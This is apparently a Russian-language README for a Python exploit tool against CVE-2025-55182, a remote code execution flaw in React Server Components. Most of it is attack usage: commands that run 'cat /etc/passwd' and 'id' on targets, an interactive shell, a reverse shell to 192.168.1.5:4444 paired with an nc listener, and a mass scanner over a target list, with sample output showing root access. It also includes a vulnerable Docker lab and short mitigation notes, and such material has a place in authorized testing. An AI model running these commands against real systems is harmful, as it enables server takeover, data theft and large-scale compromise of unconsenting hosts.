Эксплойт на Python для CVE-2025-55182 (RCE в React Server Components) с интерактивной оболочкой, обратной оболочкой, массовым сканированием и уязвимой средой на основе Docker для авторизованного тестирования безопасности.
⚠️ Правовое заявление: Этот инструмент предназначен только для исследований в области безопасности, авторизованного тестирования на проникновение и образовательных целей. Использование этого инструмента против целевых систем без явного разрешения незаконно и неэтично.
CVE-2025-55182 — это критическая уязвимость удаленного выполнения кода (RCE) в React Server Components (RSC), позволяющая неаутентифицированному злоумышленнику выполнить произвольный код на сервере через вредоносную десериализацию JavaScript.
| Свойство | Значение |
|---|---|
| CVE ID | CVE-2025-55182 |
| Оценка CVSS | 9.8 (Критическая) |
| Вектор атаки | Сеть |
| Сложность атаки | Низкая |
| Необходимые привилегии | Нет |
| Взаимодействие пользователя | Нет |
| Влияние | Высокое (конфиденциальность, целостность, доступность) |
| Затронутые компоненты | React Server Components (RSC) |
| Затронутые версии | React 18.x – 19.x (определенные сборки) |
| Дата раскрытия | 3 декабря 2025 г. |
| Псевдоним CVE | React2Shell |
Основная причина: React Server Components некорректно десериализуют предоставленные пользователем JavaScript-объекты при обработке полезной нагрузки RSC, что позволяет злоумышленнику внедрить вредоносный код, выполняемый на сервере.
Вектор атаки: Вредоносная полезная нагрузка RSC в HTTP-запросе Последствия: Удаленное выполнение кода без аутентификации, захват сервера, утечка данных
# Клонирование репозитория
git clone https://github.com/hujiaozhuzhu/gju.git
cd gju
# Установка зависимостей
pip install -r requirements.txt
# Установка зависимостей
pip install requests
# Выполнение команды на уязвимой цели
python exploit/cve_2025_55182.py -u http://127.0.0.1:3000 -c "whoami"
# Интерактивный режим оболочки
python exploit/cve_2025_55182.py -u http://127.0.0.1:3000 --shell
# Пользовательская команда
python exploit/cve_2025_55182.py -u http://target.com -c "cat /etc/passwd"
# Установка обратной оболочки с пользовательским IP/портом
python exploit/cve_2025_55182.py -u http://target.com --reverse 192.168.1.5:4444
# Массовое сканирование
python exploit/batch_scanner.py -f targets.txt
# Подробный режим
python exploit/cve_2025_55182.py -u http://target.com -v
# Пользовательский User-Agent
python exploit/cve_2025_55182.py -u http://target.com --ua "Mozilla/5.0"
cd target
docker-compose up -d
cd target
npm install
npm run dev
Доступ к уязвимому приложению: http://localhost:3000
Выполнение одиночной команды на уязвимом сервере:
python exploit/cve_2025_55182.py -u http://target.com -c "id"
Ожидаемый вывод:
[+] Уязвимость обнаружена: React Server Components RCE
[+] Выполнение команды: id
[+] Ответ:
uid=0(root) gid=0(root) groups=0(root)
Получение интерактивной оболочки на уязвимом сервере:
python exploit/cve_2025_55182.py -u http://target.com --shell
Функции:
Установка соединения с обратной оболочкой:
# На машине атакующего
nc -lvnp 4444
# Запуск эксплойта
python exploit/cve_2025_55182.py -u http://target.com --reverse 192.168.1.5:4444
Сканирование нескольких целей на наличие уязвимости:
# Создание файла с целями
cat > targets.txt << EOF
http://192.168.1.10:3000
http://192.168.1.11:3000
http://192.168.1.12:3000
EOF
# Запуск массового сканера
python exploit/batch_scanner.py -f targets.txt
Обновление React
npm install react@latest
# Обновление до исправленной версии
Блокировка запросов RSC
// Временное отключение RSC
const config = {
enableRSC: false
}
Правила WAF
# Настройка уязвимого окружения
cd target && docker-compose up -d
# Тестирование уязвимости
python exploit/cve_2025_55182.py -u http://localhost:3000 -c "echo 'CVE-2025-55182 RCE confirmed'"
# Запуск набора тестов
python tests/test_exploit.py
Этот инструмент демонстрирует:
Этот проект лицензирован под лицензией MIT — см. файл LICENSE.
Важно: Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности.